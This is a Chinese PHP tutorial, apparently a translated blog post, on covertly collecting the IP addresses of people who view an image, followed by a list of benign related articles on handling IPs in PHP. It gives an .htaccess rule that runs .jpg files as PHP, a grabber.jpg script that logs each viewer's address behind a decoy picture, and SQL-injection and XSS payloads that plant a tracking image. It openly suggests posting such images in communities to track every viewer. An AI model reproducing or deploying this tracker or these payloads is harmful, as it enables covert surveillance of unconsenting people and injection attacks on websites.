基于PHP实现通过照片获取ip地址

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

(0)

相关推荐

  • php限制ip地址范围的方法

    本文实例讲述了php限制ip地址范围的方法.分享给大家供大家参考.具体如下: 只有在限定范围内的ip地址才能访问 function get_real_ipaddress() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWAR

  • PHP 获取ip地址代码汇总

    代码一: function getip() { static $ip = ''; $ip = $_SERVER['REMOTE_ADDR']; if(isset($_SERVER['HTTP_CDN_SRC_IP'])) { $ip = $_SERVER['HTTP_CDN_SRC_IP']; } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERV

  • PHP实现的随机IP函数【国内IP段】

    本文实例讲述了PHP实现的随机IP函数.分享给大家供大家参考,具体如下: function get_rand_ip(){ $arr_1 = array("218","218","66","66","218","218","60","60","202","204","66","66

  • PHP实现的限制IP投票程序IP来源分析

    本文实例分析了PHP实现的限制IP投票程序.分享给大家供大家参考,具体如下: 接到一个投票活动的需求,需要做IP限制,每个IP限制一定的投票机会.我在搜索引擎上搜索了关键词:PHP客户端IP ,结果基本上都是以下内容: if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('

  • php求一个网段开始与结束IP地址的方法

    本文实例讲述了php求一个网段开始与结束IP地址的方法.分享给大家供大家参考.具体如下: 比如:网段(192168.1.5/24),其子网掩码根据24划分为: 11111111.11111111.11111111.00000000(255.255.255.0) 说明:IP地址为32bits,24在划分网段中就表示前面有24个1,后面有8个0. 开始IP地址的算法是:192.168.1.5的二进制与子网掩码的二进制进行"与"运算出来的. 结束IP地址的算法是:子网掩码的二进制先取反,然后

  • php产生随机数的两种方法实例代码 输出随机IP

    分享下php生成随机数的三种方法,生成1-10之间的不重复随机数,php生成不重复随机数的例子,需要的朋友参考下. 如何用php生成1-10之间的不重复随机数? 例1,使用shuffle函数生成随机数. <?php $arr=range(1,10); shuffle($arr); foreach($arr as $values) { echo $values." "; } ?> 例2,使用array_unique函数生成随机数. <?php $arr=array();

  • php获取访问者IP地址汇总

    //方法1: $ip = $_SERVER["REMOTE_ADDR"]; echo $ip; //方法2: 复制代码 代码如下: $user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; $user_IP = ($user_IP) ? $user_IP : $_SERVER["REM

  • PHP获取用户访问IP地址的5种方法

    本文实例为大家分享了5种PHP获取用户访问IP地址的方法,供大家参考,具体内容如下 <?php //方法1: $ip = $_SERVER["REMOTE_ADDR"]; echo $ip; //方法2: $user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; $user_IP = ($

  • php中获取主机名、协议及IP地址的方法

    本文实例讲述了php中获取主机名.协议及IP地址的方法.分享给大家供大家参考. 具体实现代码如下: 复制代码 代码如下: $hostname=gethostbyaddr($_SERVER['remote_addr']);    //获取主机名 echo $hostname;            //输出结果 // $hosts=gethostbynamel('localhost');       //获取ip地址列表 print_r($hosts);           //输出数组 // $

  • php进行ip地址掩码运算处理的方法

    本文实例讲述了php进行ip地址掩码运算处理的方法.分享给大家供大家参考,具体如下: ip解析: function ip_parse($ip_str) { $mark_len = 32; if (strpos($ip_str, "/") > 0) { list($ip_str, $mark_len) = explode("/", $ip_str); } $ip = ip2long($ip_str); $mark = 0xFFFFFFFF << (3

  • php获取本机真实IP地址实例代码

    本文实例为大家分享了php获取本机真实IP地址实例代码,供大家参考. 主要是获取操作系统为win2000/xp.win7的本机IP真实地址,和获取操作系统为linux类型的本机IP真实地址,具体内容如下 function getLocalIP() { $preg = "/\A((([0-9]?[0-9])|(1[0-9]{2})|(2[0-4][0-9])|(25[0-5]))\.){3}(([0-9]?[0-9])|(1[0-9]{2})|(2[0-4][0-9])|(25[0-5]))\Z/

  • php隐藏IP地址后两位显示为星号的方法

    本文实例讲述了php隐藏IP地址后两位显示为星号的方法.分享给大家供大家参考.具体实现方法如下: 我们在很多的公共网站中都会有碰到显示用户的IP时后面几个IP段显示为星号了,这样很好的保护了用户隐私了,感兴趣的朋友可以一起来看看. php正则格式化IP地址,隐藏后一位. 例子 复制代码 代码如下: <?php //隐藏后一位 return preg_replace('/(\d+)\.(\d+)\.(\d+)\.(\d+)/is',"$1.$2.$3.*",$ip);   //隐藏

随机推荐